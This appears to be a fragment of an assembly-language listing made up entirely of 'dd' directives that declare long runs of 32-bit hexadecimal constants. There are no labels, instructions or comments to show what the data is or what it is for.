dd 6083354Eh, 0B9009A8Eh, 5E2DC0A5h, 36C31Eh, 5D670BFCh
dd 32862F0Fh, 6D6BCB04h, 0D483B1AEh, 0A5A000ECh, 3D00142h
dd 41097065h, 80317623h, 0AAF44845h, 0D485A0F2h, 0AC1F1EA2h
dd 3B38C781h, 14BCF01Eh, 0D58C6B6h, 2000742Ch, 1D5A1B45h
dd 4BE08642h, 242CA050h, 2BE6CE01h, 62FEFC9Bh, 13A0460h
dd 8206BE29h, 20B640D6h, 0A7004B26h, 927C71A2h, 0F07FC2h
dd 966AE51Fh, 0D06E5CA4h, 1EFD8413h, 87BB6847h, 0FA8B68B0h
dd 80189699h, 9719C804h, 0C11FDC47h, 18D2A305h, 32E460C0h
dd 2F6F0025h, 939653Ch, 0DA2E8755h, 50267926h, 8A1EE880h
dd 9CAD403h, 0ABDAC90h, 0D8343822h, 86C87068h, 160D600h
dd 0B38D0382h, 0E9872594h, 2180142Fh, 0C96911D5h, 5EEFB700h
dd 0A0377724h, 34E65C79h, 0A180413Dh, 9A4584BCh, 0BF0E7D0Bh
dd 614C135Ch, 21B7839Fh, 2F65C74h, 12BC7E4Fh, 0C4E0160Bh
dd 8607B646h, 0C64BFB73h, 0E73A823Fh, 0DC0CE0FAh, 0CB6400C9h
dd 14AAAC5Bh, 9C016087h, 9985BE80h, 0EFE465D4h, 9D3E16DAh
dd 68F80036h, 0FB26288Ah, 0F8BAB05h, 0CF80A439h, 751FCFCCh
dd 30167BC4h, 7111B598h, 0DB002ACDh, 6AD7ECC2h, 1242C14h
dd 561EE3B7h, 808570C3h, 91D6AB28h, 0FB6E7C74h, 5CF30EE8h
dd 37008EE2h, 0FD5894F0h, 9AFE9B82h, 0FDBE700h, 64A0EE8Dh
dd 0CF7F28BAh, 0BEB700B4h, 0CD41D320h, 0CE051FD0h, 32AE2CCh
dd 9B228407h, 0E898C460h, 16D0006Fh, 378AB55Ch, 933038EFh
dd 59848892h, 0A27827h, 0FCA9341Dh, 0AEF81055h, 0DEACD100h
dd 1AB670BBh, 8A430A47h, 0B8E3A7h, 3F1384C0h, 0C2740525h
dd 735FD200h, 4DA6C4E9h, 0FE6F0044h, 7D8949F8h, 5012972h
dd 0DC2B1E7Ah, 9A200CE0h, 0E44B00DDh, 84FBA1CFh, 31710BD3h
dd 0C718E712h, 0C9D96040h, 24481B47h, 800CB5AEh, 9445C71h
dd 0F1155178h, 0A352B0h, 66A64204h, 1E06EB89h, 241F77Dh
dd 602F092Eh, 0BC2AF280h, 1CFA40DEh, 6E069F00h, 0AB987AF2h
dd 8BC50076h, 68940B47h, 0FE381F9Ah, 17067EBh, 4C1AEC70h
dd 0D32E00EAh, 0AD0D3208h, 0C206FADAh, 88C51D09h, 0C9891EB1h
dd 0ACE24045h, 0BAA783A0h, 60772EFCh, 8B201800h, 3CE36122h
dd 712102EFh, 48D4738Fh, 50F38240h, 39EAFD00h, 7C0B6913h
dd 94AF05D2h, 993714h, 4B98E1D4h, 8007B9Eh, 1CA6C505h
dd 0A0AEDBC2h, 289BE0h, 839E2F4Ch, 6C969F75h, 0D819892Eh
dd 5D6DF200h, 1CB592B9h, 83E7619Dh, 181DAD45h, 2C488698h
dd 0A803EA7Dh, 0C1AE38B9h, 0D73ED825h, 70E069Eh, 29F68A9Bh
dd 220BCC0Fh, 2DE360C2h, 5B411h, 0E56F8144h, 2A0820A5h
dd 6958C900h, 4EA8D404h, 0CE22000Fh, 5DA32C2Dh, 250441F9h
dd 0BC1EE78Bh, 87002CB6h, 585DECF1h, 300003B7h, 326A0511h
dd 76341827h, 6A40010h, 5643DF6Dh, 1700EAEBh, 95E8A72Ch
dd 5788180h, 6F39ED82h, 215BC019h, 0FD01C48Fh, 0BD9E1FB9h
dd 77C817C8h, 8AEAE5h, 9D0A548h, 0C386926Ch, 187C3F00h
dd 0D315AB14h, 2AF009Ch, 3D889A4h, 6A0057F1h, 0E0508D61h
dd 33712Bh, 0D3F4846Fh, 0E0247EFh, 44DA271Fh, 80A0CB8Bh
dd 7E3F4012h, 5FA40032h, 98128A65h, 2201A178h, 0F605EB48h
dd 89D4C246h, 9370329h, 85202767h, 1D00A27Bh, 2CF335A5h
dd 0C2135615h, 0CA08CFD0h, 0B5005C50h, 2EB3860Ch, 4B477Bh
dd 3AF1023Ch, 56AE1E12h, 0B297900h, 0A389C5Fh, 2FDB2872h
dd 0C07C00A8h, 0C264FAB1h, 0CE0C137Bh, 1E0A79E8h, 1649008h
dd 2EF5B5D6h, 9E9C7F5Ch, 8C1F5D10h, 5C8CFF12h, 22F74AEEh
dd 5203BB78h, 4DCAA0C3h, 2018DE87h, 0AC41E007h, 82AC6BADh
dd 0EC780083h, 3585C799h, 3A28BE76h, 1E112C0Bh, 0BA01D9E7h
dd 50A2D717h, 98DC29A3h, 12378C39h, 0C8DB22CDh, 4086AD28h
dd 92B0ACDCh, 14220114h, 0F3170F14h, 0E7B6200Ch, 3CC99Ch
dd 6C852DB3h, 1AF4DDA2h, 6399700h, 0B85EB016h, 51A50003h
dd 593B6167h, 7200CBA7h, 0E2353EC5h, 7BABD11h, 4987586Bh
dd 539F6060h, 0B61D6175h, 0D641A9B4h, 4163E498h, 966E8E40h
dd 7AD13879h, 830D5E07h, 0B97902Fh, 0F00BA75h, 52F67E54h
dd 792BCE71h, 301600BDh, 3AC5B9CAh, 0A31E1456h, 0AB003935h
dd 0C0A40942h, 747B07F6h, 0A7C43855h, 0B23B9031h, 50E5AF68h
dd 0F8C589ACh, 6D0123Ah, 1DEECAF5h, 21416008h, 0EAF8CD28h
dd 0D79F9A07h, 52A0FE39h, 50AF38h, 0F154C017h, 42D30E0Ch
dd 14DE9B48h, 2B47DEAh
dd 0B1739C70h, 12BCA058h, 120B1D86h, 765ADDAh, 466A95D8h
dd 6B002106h, 0A85A058Eh, 49252Eh, 2B3B59CCh, 874C4E57h
dd 19EF803h, 61C00ED3h, 0D569A168h, 805CF96Eh, 96E2C920h
dd 271B138h, 8F6DDA09h, 94601224h, 18C24492h, 0E08010ACh
dd 1EBB158Ah, 40F4CE88h, 67F10620h, 966038Ch, 221CF08h
dd 5C07DCC1h, 98E026D9h, 0A4002E4Dh, 0E1D74E7Bh, 2BF222h
dd 14B5A308h, 986E5028h, 8BFE3D1Ch, 2DEFCD42h, 0C941E0A4h
dd 2140068h, 3882609Ch, 370044D5h, 0DCF0EF48h, 3B5393EEh
dd 0F281BE4Ah, 4F18DD89h, 0A4E1606Ah, 69C7D700h, 1E4BBADBh
dd 0A7190070h, 3C350391h, 7107DAD8h, 9364B2AEh, 410740BEh
dd 0FCDF5E20h, 80BB0175h, 482AAAB0h, 26D1D873h, 3B0E5300h
dd 9879B38Bh, 0AF890056h, 2EB2D8AEh, 7E009D96h, 0E2435AC7h
dd 1F81230Eh, 0C0BC2F18h, 64C20B9Fh, 95007603h, 0D3968D1Ch
dd 1B0924h, 0DFF11F43h, 0EA0ED69Eh, 0C4732F00h, 2CBBECD5h
dd 12C70713h, 20897783h, 6E880328h, 5D3A0BE8h, 0C92E80B0h
dd 49B840E7h, 0D14B00A5h, 0C6367276h, 1214BBCBh, 0DC32D3h
dd 871BA12Fh, 4D9E84h, 6D8B565h, 0B376532Ah, 19BEA300h
dd 0FF3E21C0h, 0EB7E1CA5h, 998F805Ah, 13DD9286h, 6E95AB00h
dd 9C1F39EEh, 0C3E13D4Fh, 293BED8Ch, 41C07E56h, 202EF8DCh
dd 162C00B9h, 1A6A54F4h, 503F3222h, 5A040592h, 9443C84Ah
dd 0B5B1BCh, 3F0DD138h, 1593C96Ch, 0A805F408h, 87790019h
dd 0D7125608h, 24C6D01h, 0C495C2Ch, 170FF1D0h, 5CE5A23h
dd 0E8E702h, 284D2580h, 0DE6059B4h, 0CAC9C3CAh, 6318007Ah
dd 87DAF246h, 820079D9h, 1AE82213h, 1E2F3B0Fh, 80E980E6h
dd 9A75B6C6h, 62F6A51Eh, 8EA4FD00h, 1039AF5Dh, 0D6570E1Ch
dd 0CE801F2Bh, 5B08A979h, 0FF914700h, 82E1D3DBh, 0A17303BDh
dd 700390F7h, 221C801h, 5DF3947h, 3A8BF88Fh, 58803E6Fh
dd 2B3319FDh, 0E8C48h, 7212E184h, 0EEB96330h, 9C90A096h
dd 0A9323F5Dh, 13092880h, 2C39AB5Fh, 8DC8FA00h, 0E12E120Ch
dd 0A2AC005Dh, 248EC5AEh, 2A006B89h, 0DFB0F8Ch, 2814D79Eh
dd 2AB0CBEFh, 7CC5A72h, 94B34381h, 3EAF4010h, 0E6002EDAh
dd 0CC55BA4Ah, 67A6EEh, 0C47EDF70h, 0C3B699C8h, 43ACDC51h
dd 6FA32AAEh, 466EDAB0h, 0C2001770h, 0CC584CCh, 3AA40A3Fh
dd 26060DC7h, 906EFC34h, 62CAF801h, 0CDAAEFC1h, 77B0024h
dd 0C024693Ah, 4EAB10D0h, 2500C9F5h, 21A2DA3Fh, 0D17032h
dd 268E4FC7h, 0E54117E2h, 9F354300h, 71E620C5h, 0E4B8A3h
dd 12C1C37Fh, 0F6C9F3F1h, 553F6501h, 24F21D22h, 0BD98D4h
dd 0DD72FE6Ah, 0FF467659h, 1C4D5E48h, 0FE3E85D0h, 827D3Dh
dd 5539BDD2h, 9AA7E9h, 3056A28Eh, 0F0EA2A33h, 0E2074100h
dd 0ECB5757Fh, 9CC802E9h, 4C963CEDh, 958776C0h, 20031400h
dd 2B0849D4h, 931ECFCh, 0B306AA8Eh, 0EE4DE000h, 4F0030ACh
dd 0E5297AA4h, 0E14733h, 8F530EE6h, 8277560h, 98A4181Dh
dd 2230F780h, 0F259519h, 805D1ECAh, 60554D60h, 70E5E607h
dd 940002C1h, 3F61D19Dh, 6DB7C2h, 456F1219h, 0C05927F1h
dd 4D52E00h, 0EF84D80Dh, 0C61E00B7h, 8F2A3C4Ch, 85051477h
dd 36F95449h, 8843BC04h, 99599890h, 58AC0046h, 335D30CCh
dd 0F200C027h, 0B79214C9h, 0AD0C2Eh, 7A1E1B81h, 2A25A3ECh
dd 0FFEF7900h, 594DFD28h, 57DC0078h, 0F4AA8DACh, 0C11FA309h
dd 0B980F1AEh, 1349DA10h, 0A82F0348h, 557F3393h, 29DE30B7h
dd 8700A9D5h, 803D390Bh, 209BBCCh, 0FCB456BEh, 68495F1Fh
dd 0DEAFCC1Ch, 5528D572h, 121DF8BFh, 9FBDBA8Fh, 7AC09FF6h
dd 0CB4433B8h, 420C119h, 20921D67h, 0D1003008h, 8DB721CCh
dd 90C81860h, 0D2AA0050h, 0EDA57C4Ah, 36380705h, 926B007Bh
dd 0B011240Ah, 3061F42Bh, 7530C7E8h, 0E002DC22h, 0B84B2823h
dd 0B3046071h, 60B0229h, 7F870192h, 0E332A080h, 42E8C0F3h
dd 5EDC2C00h, 64810E8Dh, 1580A079h, 7D0E40Dh, 846E9182h
dd 0E0CE7A4h, 3A3C8900h, 36009D7Fh, 0F432A792h, 5E4D088h
dd 2C5F7B06h, 41FD803Bh, 248DCF8h, 55A28088h, 121B6277h
dd 3E8926h, 0A2EC6F5h, 57006306h, 0D367F668h, 0A60D164h
dd 3245FAA6h, 126A01ECh, 0E8F99AE5h, 0EC5BBEE9h, 330128ACh
dd 45C69BFEh, 34802039h, 0C7B2C300h, 15C14F1Fh, 97E90020h
dd 98A60340h, 0FB002E27h, 28B9B6A7h, 3008DAh, 3C182B41h
dd 2ED53603h, 6445C800h, 0C2F9C925h, 8C2D009Ch, 5BB73F7Ah
dd 0E600D3CCh, 4C4B2B22h, 98A8DA7Ch, 0D1153D7Ch, 0A080C3BDh
dd 214E29BEh, 7900E907h, 5EECF0CCh, 1D2FE19Eh, 3D5D6A46h
dd 8C7CD200h, 8D1DBBDEh, 54020A73h, 0FF80E36Bh, 7BDE805Fh
dd 0E01FE9h, 46ABEB34h, 52B3600Dh, 19028C90h, 303F1BFBh
dd 59344864h, 13AE0045h, 0E085B16h, 61E8A48Fh, 0EEA77A07h
dd 0E01EF604h, 6DC04B5Ah, 0F4900E9h, 0CE5D4C34h, 2100A14Dh
dd 0B03F1567h, 398A7BCh, 65177B9h, 0D6CFB203h, 0CCF97822h
dd 0E03271Eh, 0EE085646h, 1A180F68h, 1B213E57h, 52E5A79Dh
dd 0D0088318h, 7425BF3Fh, 4D085707h, 4BD16E2Dh, 62EC8777h
dd 63E8FF96h, 9B13007Ch, 0D4E02669h, 99614F51h, 443D9FF0h
dd 0A4D025D9h, 0E4110053h, 1CF2FEAEh, 0BD60F362h, 33ECDC18h
dd 0B12200A8h, 8D075179h, 0A607FB3Ch, 0B624E145h, 0C8A4B412h
dd 49D52DF0h, 0A5019025h, 0E8DE4435h, 9F04D095h, 0D42DD314h
dd 0B3A10010h, 3DF594A4h, 0FEBA05ECh, 0C0BC752Ah, 0B5467826h
dd 0AB8C01Ch, 18A1DA00h, 50896Bh, 0F84B1324h, 931BE17Ch
dd 97428303h, 0E08806A1h, 5CF6C35Fh, 0FA1C3CBFh, 66868091h
dd 72A259A9h, 7894D000h, 0B7F33EDBh, 95EB3B7Ch, 15BAB01h
dd 0E81CF7ACh, 0D80FD47Dh, 734A7258h, 347E0F00h, 3B88B097h
dd 8C80A10Ch, 5027549Dh, 8064A9F4h, 0C08058A4h, 0E94207E1h
dd 58694CE8h, 3E00FB2Bh, 3D53EA28h, 0A300E02Ch, 9F1B641Ch
dd 5AA6D40Dh, 0A0A7C756h, 4277AB48h, 5910BE03h, 8125D1F9h
dd 0CFFCFC12h, 0B00F504Ah, 8A830057h, 0E9EE287Fh, 0C0096EE7h
dd 5A8D74h, 0EDFC8B77h, 422E07F6h, 50EEB055h, 18D8849h
dd 0D72A2B00h, 916D9E2h, 0C2460036h, 983C7FEAh, 3B0E7577h
dd 8002994Dh, 35956A41h, 7DC10E18h, 3800BBB1h, 864AA32Bh
dd 222A3A00h, 69186F88h, 12531695h, 0F10800B6h, 9307E5Dh
dd 7704965Dh, 627D1F12h, 2C15A840h, 0F5260C6h, 1EF1D387h
dd 1773D9A3h, 0BF76D09Fh, 6F00A07Dh, 0BBDB04FAh, 366A85h
dd 8E32D2EDh, 5A630780h, 3E728300h, 5D3C3A62h, 4FE57F1Eh
dd 85BCC2h, 0F5FC1885h, 5BB17631h, 8CACA5h, 0ABE6EDD4h
dd 517E741h, 201BE8C8h, 251080DAh, 52078E93h, 9B4EE2AEh
dd 1DD2F461h, 92C896D8h, 0E72B0254h, 8475BF12h, 0CAEF9090h
dd 0B40180BAh, 6B809E16h, 11C807F5h, 419D0492h, 0A02E7E97h
dd 6F3AAA80h, 0C31D0002h, 8C29FB1Fh, 254E0738h, 60D56B83h
dd 6F220BE2h, 0A8461300h, 6C7D66BFh, 0C3894C45h, 0D76EF703h
dd 1E03136h, 3B00D89Fh, 993DCC73h, 77256CC7h, 0FBA00F92h
dd 0DC40798Bh, 8F6D3F9h, 0F207AFE8h, 40BBE2F4h, 0B42DAAD0h
dd 937964h, 0DC678D16h, 4908BA75h, 6BBCA514h, 62AD009Ah
dd 5B7150C6h, 131A00C3h, 0F09AB3E8h, 51003B1Fh, 4C62B99Ch
dd 0E18A84h, 44F4B678h
dd 0EA5FA7FCh, 0C0BFEF03h, 0E853B7E8h, 84BB34h, 58A47526h
dd 0E52C86DDh, 628B520Bh, 95DD0099h, 1F1319h, 0EC81EAA0h
dd 0DC48BB84h, 0EBE8AA1Eh, 36E6D240h, 8F9E0Ch, 890E374Ch
dd 6EC3AF91h, 4379A900h, 553BBEE3h, 2EB501C8h, 0FCAACC04h
dd 0E0A7CC98h, 0CD7AA903h, 0AEC5C9h, 645E1168h, 417B3E76h
dd 0E7262200h, 779C1754h, 37D90C6h, 270BB8Dh, 29B87E5Fh
dd 4100F527h, 6C3FB3DDh, 1468D346h, 0C4D7B993h, 0BF00263Ch
dd 805AAE3Dh, 0BE00C94Ah, 0B57CE52Eh, 0C1871Fh, 4F0FC2D5h
dd 1E07850Eh, 55F55B0Fh, 0E28E4017h, 2AEE50C1h, 0EC5FF8h
dd 6FBA4633h, 3D278267h, 7D2E7000h, 0B589D3B4h, 0F8A514BFh
dd 6F00982Bh, 8CC5E93Fh, 0BC00136Ah, 0FB7F6133h, 3B0A2894h
dd 65005371h, 8EC7D18Ah, 2A0D58CAh, 0F161819Bh, 2CF0F361h
dd 0CBEE004Ah, 0FC5D7096h, 0D5000DC9h, 0CA1B9F4Bh, 0A260B7h
dd 39AD98A4h, 3F497809h, 35F71A24h, 0D3221400h, 770C63h
dd 0BBF08B4Eh, 0D746C88Ch, 0EA0D7000h, 3DB43993h, 0F6A0003Ch
dd 0F9F8BFADh, 580736E4h, 13E9456h, 63199750h, 485A0026h
dd 0E37832D7h, 0D1F6088h, 8F40D680h, 0E6EB9ECEh, 20B042h
dd 0F6A24E1Bh, 7EDB8183h, 93016390h, 3ED87DB0h, 0DDF02E97h
dd 88B3283Dh, 177E1E94h, 4A630119h, 0F00DB5D9h, 6100ACE3h
dd 6DFF745Fh, 185A4A5h, 98C3F3EFh, 0E8E37379h, 550F63EBh
dd 5FA8F98Ah, 6E9700FCh, 0A645FF46h, 39A0C710h, 1E8FA013h
dd 7148DF56h, 0F03A00AEh, 3209C553h, 3B3D7373h, 0E12A6020h
dd 178A00DCh, 0E4753B13h, 6E17042Fh, 0E4007D92h, 87F55ADFh
dd 83120F2Ah, 0A365EC0Fh, 722C8021h, 3528E24Eh, 30000C14h
dd 2DF93AD9h, 6F68757h, 0FC9AC21Eh, 670F2146h, 60614EA5h
dd 9105A832h, 0BA18C3EDh, 56C7CE57h, 7F3C9020h, 7B90802Ch
dd 481A7885h, 70D94933h, 0B2F44604h, 0DA04C028h, 9C77C5ABh
dd 7EA68D01h, 423A61F2h, 1F9F70h, 60B22C98h, 9DBCCD0Ch
dd 0F081C200h, 6592B780h, 0F618902Bh, 7DF04Ch, 4DC8EECh
dd 0DB8C72B3h, 17F6B01h, 0BB221136h, 0C3BCAC40h, 0BAAC2404h
dd 5A1A008Ah, 0A57FDF40h, 0BF24D600h, 0CA76444Dh, 0EFA700C2h
dd 8BC0DCABh, 0C1133350h, 0AA00C459h, 65277FCCh, 0CAB0191h
dd 90D1D849h, 32DAE01Dh, 0B5959C03h, 0D8646C28h, 0F4BF081Bh
dd 0BA7A0336h, 9EEEB952h, 33D7F7A1h, 0E2FB8014h, 0D0A0ABh
dd 9E1DB3C1h, 0CB4B9150h, 0D78CC800h, 0A2391C5Dh, 89130086h
dd 0FCBF321Eh, 0E6002321h, 789377F1h, 0F68EA0C5h, 73461F11h
dd 1843C76Fh, 61C2D0A8h, 4400C4D5h, 17A1F3Dh, 0A016B789h
dd 0C73EB0h, 86C59D3Bh, 7DBBD051h, 58D6E607h, 0DCE0194Eh
dd 0E894CE7Bh, 0FF77CE9h, 60E69606h, 662C4D40h, 0B0150CFh
dd 8FCCF230h, 0B6EC9CE4h, 0AA810924h, 30013693h, 0A238B3h
dd 0EED1E6h, 59A33B3Eh, 6CEC422Ah, 5F14FF02h, 0C07805FDh
dd 0CA81F5Ch, 4B22B327h, 230081A8h, 0CDA1DD5Eh, 0C06428h
dd 3E3BA378h, 0E1F774F6h, 0F452C700h, 5339BAF0h, 3DBC0508h
dd 0C0A90CD7h, 21DBB56Bh, 0D4B0CB00h, 7BABB244h, 0C81213FAh
dd 0C3EE0073h, 0CE9AF1A5h, 27921B12h, 3CA4AC40h, 0F7523E84h
dd 88131081h, 0E4275A1Ch, 0DD60A7C8h, 3BBF2828h, 160AF6B5h
dd 407B6808h, 1B01F240h, 0C7186225h, 0D8082353h, 1C7852h
dd 0CAFA5A4h, 0ACC0951Ah, 681E8498h, 7ED663h, 87996BD2h
dd 15E08ECh, 128F698Ch, 0F4067827h, 0A4E4AC5Bh, 0C81A40B2h
dd 389D138h, 0A17A21E4h, 0F0D8BD1Bh, 52E403BCh, 12CB40FFh
dd 251D187Eh, 1D4787EAh, 92C0DB2Bh, 73D472C9h, 6308285Ah
dd 0D9964860h, 66EFC70Ah, 80704580h, 7D721424h, 55293Bh
dd 0CE91172Ah, 7EB258h, 6071AF70h, 0DBF74072h, 5E20707h
dd 0C7F02A41h, 8EF322h, 0E190F070h, 0E44788AFh, 0AED29100h
dd 0B622A318h, 1BD70081h, 82A4E07Dh, 0EB00CD41h, 2C49A89h
dd 38818D17h, 0CF80E3B4h, 0BE4B5E19h, 43246CFEh, 0F20030EFh
dd 9827C9C8h, 258706A6h, 0D0AC8870h, 0B67E5B00h, 69B0CE4Ah
dd 9EB857h, 7C60A8D8h, 0EBD286BAh, 4AE1200h, 5F75F3D3h
dd 0A8FB0688h, 0A8559E71h, 68FE3400h, 5EC55008h, 709B00C2h
dd 8C539378h, 47020AC4h, 1AF357C6h, 0A7C6C071h, 0E84303ABh
dd 0D7DE5B53h, 80F5D388h, 0A301CF76h, 9EC7B7E3h, 8C30D22Eh
dd 0C66A00A1h, 0EE7F803Ah, 0F7005DDEh, 0E5F2D93Eh, 2EFB119h
dd 0B37969D5h, 1C60B576h, 250095E8h, 0D7B0825Eh, 0B838E64Dh
dd 0D4A703D2h, 0AEC8A6BDh, 0B210D0C7h, 69032B5Ch, 0DA5EAF1Eh
dd 791F0DBh, 900E00C4h, 0DC87D503h, 0B25C05BAh, 0F2EC13F7h
dd 331EEC00h, 7676D249h, 588700FAh, 0FCF479D3h, 110ECDA5h
dd 96A6AE3Bh, 76EC00FAh, 9694F80Fh, 653D90E2h, 0ECE50BB0h
dd 0DA3C80B6h, 12348D15h, 40A64D49h, 0C2E1FBB0h, 0CAF2CF51h
dd 0B9705B18h, 18719756h, 0E83A9F20h, 9B13839Dh, 6ABBF77h
dd 412C15ABh, 0C1E1E600h, 5381E2C6h, 5A0F0777h, 605157C8h
dd 7C141621h, 6A0F2DF8h, 4202374h, 0E0C9BFA1h, 6733D800h
dd 286E4D83h, 89E4AA0Fh, 0DEDCA9E0h, 1000F587h, 9594123Dh
dd 1D59D832h, 4842EAh, 0FA412161h, 7200AA8Bh, 0B5DE5FDBh
dd 0CAB522Fh, 0DA37ACE8h, 580173AEh, 28E30281h, 0D0806529h
dd 0F455FF3Ah, 51E2C011h, 3B98450Fh, 2A732064h, 44A484FEh
dd 7E0020C8h, 4A22B99Ch, 0FF93E8Fh, 0E8EFFDCCh, 32EDC780h
dd 200EF2B7h, 0CC5C5472h, 5539BEh, 3C68DAAFh, 223E880Bh
dd 0F476C107h, 0C0F0FF3Dh, 3E400767h, 3B808446h, 684D9ACCh
dd 6F00B8DAh, 0A4183231h, 9234BF58h, 0A7114FCh, 700D243h
dd 0B7F8B833h, 0AB0129E8h, 0D80886CFh, 2DC47674h, 1E140FC4h
dd 0D9402CB5h, 25D193B2h, 18905B3Ch, 0F4585397h, 50BF00DEh
dd 0CA3926F2h, 0D54DAC75h, 44EB1468h, 2E718088h, 898F68h
dd 10DA7F09h, 83B7B870h, 71E97260h, 70AD1B1h, 6C78B59Bh
dd 0C54C6084h, 0EE591A56h, 82B801B0h, 36D46FEAh, 84802020h
dd 0C5001C98h, 17FFC68Ch, 7B66Ah, 5712FEE6h, 0C227E034h
dd 9C415C39h, 517069A3h, 163EFAh, 7E3A11B1h, 0E8D2073Dh
dd 9D557400h, 1775FF23h, 0E5B7327h, 0D5882831h, 0C0DD4C8Fh
dd 0AE4DE87h, 40057A2h, 96058671h, 0EE5AA470h, 8B9F0024h
dd 0E406F94h, 300B1FE5h, 0A53D7CA5h, 64C55150h, 0DE135080h
dd 1C4B0F1h, 7D5E0328h, 0E8C386E3h, 66003E41h, 149375D5h
dd 8A3D94h, 2B8C954Eh, 0A1F5DD73h, 0C74F0800h, 4B0F9A56h
dd 31116031h, 0D90267E2h, 5F696100h, 0D1070E36h, 0AD410006h
dd 0F637FAC8h, 89005723h, 98CEC3B8h, 0B8CA2414h, 96953C35h
dd 0E10B1000h, 27A5C618h, 996C1200h, 0BD6B41B3h, 193A00D0h
dd 0FD765988h, 4602CAA5h, 0F5922672h, 8E67E108h, 3B48CC50h
dd 0BEB403F6h, 993D379Ah, 114F35E0h, 4B121001h, 8F20B7C7h
dd 0C9F874h, 0EE176CAEh, 625BD02Ah, 0E60F0E0Eh, 0A2FAA04Fh
dd 28A6E1Dh, 85D89D77h, 0D660ABAFh, 0B912B6A8h, 3CC67D91h
dd 0F49000A2h, 33370F97h, 4B1DEBAFh, 0E60655CCh, 0E016AAh
dd 85546871h, 0CD5FAC73h, 0BD1DD212h, 77845C40h, 2E3594h
dd 9DA3916Ch, 40344395h, 0CCBA1E00h, 0A22F688h, 0F8C54CB1h
dd 0F0DEED01h, 80C4A983h, 34F6DB10h, 1CFEE706h, 8952801Eh
dd 4C8061B3h, 0A014BD1Ch
dd 83B92503h, 9830F050h, 12F826D7h, 7874E47h, 706CD54Ch
dd 8978D1CCh, 34B2000h, 69687EB6h, 0ECC10C81h, 0F5040E0h
dd 0ED799A09h, 12842F8Ah, 404568C8h, 0F33BDAC1h, 85B30010h
dd 4B55649Ah, 4F22C418h, 0BF5CB0ECh, 2C40A30Fh, 0F28C61E3h
dd 94401F03h, 630F59h, 0FD36AC1Dh, 8BEE5AC2h, 9C1C6A72h
dd 0C983AE40h, 0F0666B5Dh, 5872E69h, 0AA1256CAh, 0AD9A005Ch
dd 1F683C7Fh, 5EB63Ch, 6A15D184h, 38D7767h, 2A895A2Dh
dd 0E6D810A8h, 0A60EB319h, 6052AB6Eh, 2B8E76BFh, 471E0030h
dd 14719E41h, 560319A5h, 3DA9C94h, 4915A845h, 0A4480079h
dd 18145A4Fh, 271C6B40h, 51EEECB5h, 558AC900h, 3ABBFD4h
dd 295F57E9h, 200F558h, 0EA9940B9h, 0BB47ADh, 0DBF1895h
dd 76F9D629h, 11CF8400h, 92A1C71Dh, 44D20FF8h, 8E5CC316h
dd 0B4207C13h, 849D6494h, 0FA809300h, 33CD7152h, 0BE5703Dh
dd 724A7837h, 62CBC4A7h, 0B8800A9Ch, 6E0FF260h, 391B5F16h
dd 64F74000h, 4D5644D3h, 6A010830h, 50349281h, 787C702Eh
dd 2D49B016h, 8DF7D600h, 11AFEF2h, 10C77223h, 726BF03Eh
dd 439E01F0h, 8483AA7Bh, 1410F9D4h, 1068F041h, 92890812h
dd 0BC012E10h, 571BF27h, 500805D0h, 30F0105Dh, 9A391AFCh
dd 10EA5B74h, 68016B74h, 362EC886h, 0B660582Fh, 0AFAB0E9Ch
dd 1D601A0Bh, 5BC609BEh, 0B8FA380Fh, 0DF576042h, 0C239F8h
dd 7B668488h, 642CC563h, 9E4AB81Eh, 10F0A5BDh, 603CE754h
dd 52238843h, 0DE3002C7h, 0A43D29A6h, 0EC1B257Ah, 59ACF422h
dd 2503A852h, 9D53C76Ah, 20DCA06Bh, 702700BAh, 7214A4DBh
dd 2602E2ADh, 9C6B57DAh, 785171h, 15020F1Ah, 0B11DF82Dh
dd 0A80051E2h, 0CE411374h, 461C48C9h, 35E86B03h, 5CA8C36Eh
dd 8A4C9D02h, 77CF1DD9h, 0DADE803Bh, 0F185A8D3h, 757900C9h
dd 9EA3613h, 0D2052D4Dh, 21EB6CE7h, 839A8100h, 0B79879h
dd 3D857E0Ah, 27ADC677h, 0A40D9707h, 0D882EBF3h, 35E5CB4h
dd 0DD0BB962h, 0EABEEEB8h, 800785EAh, 9BD3FE55h, 0BDB63840h
dd 65B80023h, 8220C70Eh, 0A4009A5Dh, 5AA460Dh, 15AEC624h
dd 98A167F0h, 66348002h, 305822DCh, 8C93AE2h, 0EFE46074h
dd 4466003Bh, 1A8C2C65h, 7F28AC3Eh, 42ABC4Eh, 400ED824h
dd 82435850h, 0A029266Dh, 0DB9D9ECCh, 4078D8A7h, 138116F0h
dd 67D219Dh, 1126C6B1h, 60D6B300h, 8454A43Ah, 0DBAC1D7Bh
dd 21AF1883h, 61012EE6h, 29311512h, 0A3E4EDC1h, 1992C143h
dd 0DD241076h, 0E26180ADh, 0D97B6B61h, 5F72053Ch, 17DAFC0h
dd 0A5C450F8h, 0FFBC7090h, 2D1E7B2Ch, 0CE9E4C05h, 0F4129001h
dd 0B8A0A952h, 0CAFE00B6h, 623958AAh, 963D7848h, 0B7F979Ah
dd 0BEF000AAh, 20ECA894h, 0FF00B7E6h, 702ED231h, 0FCF1D65h
dd 35A7B2F9h, 9216F5C0h, 3CEE3A0Fh, 8C632800h, 5009CD85h
dd 0E04E00FCh, 1F0CFA6Eh, 933B9F66h, 0DFEA80C9h, 63AF4827h
dd 1321004Eh, 0BB38B005h, 8BEE3387h, 0B69F4C00h, 0EC3E66FEh
dd 650F1EA1h, 412AC7EFh, 9662D044h, 0CB00A348h, 2656EDF3h
dd 0C74045h, 0B2061D5Dh, 280BF788h, 0B50DB000h, 0E64C2217h
dd 0EA813FD7h, 7FD8FC80h, 5609AA14h, 9728487Fh, 3000DB37h
dd 59872411h, 0A7C08Eh, 1C53985Eh, 6049B74Dh, 0DFA63601h
dd 0FE3E21B9h, 4E289D4h, 57CB9A0Ah, 678C0B2h, 8500911Fh
dd 9055FE2Fh, 1E313602h, 96C747h, 97E86FE6h, 0A7029916h
dd 2841E7D7h, 2283C0F2h, 936B00C1h, 30CD6E4Fh, 0FC0171CAh
dd 2F1C7399h, 0CA80D9C6h, 6A7BFD8h, 2B000AD7h, 0F802890Dh
dd 5D15E8h, 0B1E5AAA0h, 9FC48424h, 0B2CC5002h, 5FC7873Dh
dd 7502C080h, 1F0CBD69h, 5AEF924Ah, 0A5E500B7h, 8350565h
dd 0D91F37CEh, 0D440EAF0h, 18505117h, 0EC5D0A74h, 3FC54BF9h
dd 10B70667h, 3396BEA5h, 890B7575h, 43F473h, 0A6AC2108h
dd 0C33900AFh, 6CF007EAh, 1A00E966h, 109BB75Dh, 2475F6E7h
